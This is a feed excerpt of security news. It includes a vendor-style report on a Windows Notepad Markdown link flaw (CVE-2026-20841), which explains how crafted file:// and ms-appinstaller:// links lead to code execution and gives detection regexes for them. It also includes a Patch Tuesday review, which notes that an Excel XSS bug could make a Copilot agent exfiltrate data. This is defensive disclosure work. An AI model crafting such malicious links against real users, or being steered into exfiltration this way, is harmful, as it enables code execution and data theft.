        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43725" target="_blank" rel="noopener">CVE-2026-43725</a></td>
        <td>WebKit</td>
        <td class="impact">A malicious website may be able to process restricted web content outside the sandbox</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43726" target="_blank" rel="noopener">CVE-2026-43726</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43727" target="_blank" rel="noopener">CVE-2026-43727</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43731" target="_blank" rel="noopener">CVE-2026-43731</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to memory corruption</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43732" target="_blank" rel="noopener">CVE-2026-43732</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may disclose sensitive user information</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43734" target="_blank" rel="noopener">CVE-2026-43734</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43735" target="_blank" rel="noopener">CVE-2026-43735</a></td>
        <td>WebKit</td>
        <td class="impact">A malicious website may exfiltrate data cross-origin</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43740" target="_blank" rel="noopener">CVE-2026-43740</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may result in the disclosure of process memory</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43742" target="_blank" rel="noopener">CVE-2026-43742</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43745" target="_blank" rel="noopener">CVE-2026-43745</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43720" target="_blank" rel="noopener">CVE-2026-43720</a></td>
        <td>WebKit Canvas</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43721" target="_blank" rel="noopener">CVE-2026-43721</a></td>
        <td>WebKit Storage</td>
        <td class="impact">A malicious website may be able to silently hijack clipboard data</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28979" target="_blank" rel="noopener">CVE-2026-28979</a></td>
        <td>WebRTC</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43717" target="_blank" rel="noopener">CVE-2026-43717</a></td>
        <td>WebRTC</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43718" target="_blank" rel="noopener">CVE-2026-43718</a></td>
        <td>WebRTC</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43746" target="_blank" rel="noopener">CVE-2026-43746</a></td>
        <td>WebRTC</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      </tbody>
    </table>
  



  
  









  <p class="">We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-20841: Arbitrary Code Execution in the Windows Notepad]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team detail a recently patched command injection vulnerability in the Windows Notepad application. This bug was originally discovered by Cristian Papa and Alasdair Gornia...]]></description>
<link>https://tsecurity.de/de/3694473/it-security-nachrichten/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694473/it-security-nachrichten/cve-2026-20841-arbitrary-code-execution-in-the-windows-notepad/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team detail a recently patched command injection vulnerability in the Windows Notepad application. This bug was originally discovered by</em> <em>Cristian Papa and Alasdair Gorniak of Delta Obscura. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account. The following is a portion of their write-up covering CVE-2026-20841, with a few minimal modifications.</em></p>





















  
  




  



  <hr>
  
    
    



  

<p>A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links in Markdown files.</p>
<p>A remote attacker could exploit this vulnerability by enticing the victim to download and interact with a malicious file. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.</p>
<p><b data-preserve-html-node="true">The Vulnerability</b></p>
<p>Microsoft Windows comes with a default text-editing application called Windows Notepad. Historically, this application offered only minimal editing features. However, modern versions of Windows include an improved and extended Notepad by default. This new version supports multiple file formats, Markdown rendering, and Copilot-enhanced features.</p>
<p><a href="https://spec.commonmark.org/0.31.2/">Markdown</a> is a lightweight markup language that allows users to create formatted text using a simple syntax. It is widely used for writing documents, blog posts, and README files. It supports a wide range of formatting options, including (but not limited to) headers, styled text, numbered and bulleted lists, and links. Markdown supports two main link formats: standard and inline. The standard link format is:</p>
<p>          <code>[link-name](link/path)</code></p>
<p>When rendered, only the link text ("link-name") is shown to the user.</p>
<p>The inline links use the following format:</p>
<p>          <code>&lt;link/path&gt;</code></p>
<p>When rendered, they are transformed into the equivalent standard link:</p>
<p>          <code>[link/path](link/path)</code></p>
<p>A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links when handling Markdown files.</p>
<p>When Notepad opens a file, if the application detects that the file requires special rendering (in this case, Markdown), the input file is tokenized. Tokenization in this context means splitting the raw file text into a sequence of small, recognizable pieces ("tokens") that the renderer can process one by one. Detection is performed based on the file extension. Only the ".md" extension was found to trigger Markdown rendering, as the application uses a fixed string comparison to determine whether Markdown should be rendered by calling <code>sub_1400ED5D0()</code>. Markdown files are rendered token by token.</p>
<p>Function <code>sub_140170F60()</code> handles clicking on links in Markdown files. It filters the link value, and passes it to <code>ShellExecuteExW()</code> call.</p>
<p>The filtering performed on the link is found to be insufficient, as it allows using malicious crafted protocol URIs, such as "file://" and "ms-appinstaller://", to execute arbitrary files in the security context of victim. <code>ShellExecuteExW()</code> uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.</p>
<p>A remote attacker could exploit this vulnerability by enticing the victim to download a malicious crafted Markdown file, open it, and click on a malicious link. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.</p>
<p>Notes<br>•	Files using the ".md" file extension are not registered to be opened by Notepad by default. However, when opened manually in Notepad, they are rendered as Markdown, which allows the vulnerability to be triggered.<br>•	Any "\\" sequences are converted to "\" in the attacker-controlled link path prior to passing it to the <code>ShellExecuteExW()</code> call.</p>
<p><b data-preserve-html-node="true">Source Code Walkthrough</b></p>
<p>The following code snippet was taken from Notepad.exe version 11.2508. Comments added by TrendAI researchers have been highlighted.</p>
<p>In <code>sub_140170F60()</code>:</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p><b data-preserve-html-node="true">Detection Guidance</b></p>
<p>To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following application protocols that can be used to deliver an attack to exploit this vulnerability:<br>•	FTP, over ports 21/TCP, 20/TCP<br>•	HTTP, over port 80/TCP<br>•	HTTPS, over port 443/TCP<br>•	IMAP, over port 143/TCP<br>•	NFS, over ports 2049/TCP, 2049/UDP, 111/TCP, 111/UDP<br>•	POP3, over port 110/TCP<br>•	SMTP, over ports 25/TCP, 587/TCP<br>•	SMB/CIFS, over ports 139/TCP, 445/TCP  </p>
<p>The detection device must inspect traffic transferring a Markdown file with the file extension ".md". If such a file transfer is found, the detection device must search the file content for links.</p>
<p>The detection device must check whether the link paths contain the strings "file:" or "ms-appinstaller:".</p>
<p>If "file:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:</p>
<p><code>(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}</code></p>
<p>If "ms-appinstaller:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:</p>
<p><code>(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}</code></p>




  <p class="">If any of the regular expressions matches, the link contains a path to a remote resource. The traffic must be considered malicious; an attack exploiting this vulnerability is likely underway. This guidance should also detect the public PoC that was recently posted on <a href="https://github.com/BTtea/CVE-2026-20841-PoC">GitHub</a>.</p><p class="">Notes</p><p class="">•  The string matches are case-insensitive.<br>•  The detection guidance is based on the vendor-provided patch. However, the patch restricts the links to local-only files and HTTP(S) URIs, which may result in a huge number of false positives. Because of that, the detection guidance focuses on formats that may access and execute remote files. Due to that, it may result in false negatives.<br>•  The vulnerable function uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.</p><p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-20841">patched</a> by Microsoft in the February 2026 release cycle. They note no workarounds but do list user interaction as a prerequisite to exploitation. To fully remediate the vulnerability, the proper action is to test and deploy the provided vendor patch.</p><p class="">Special thanks to Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
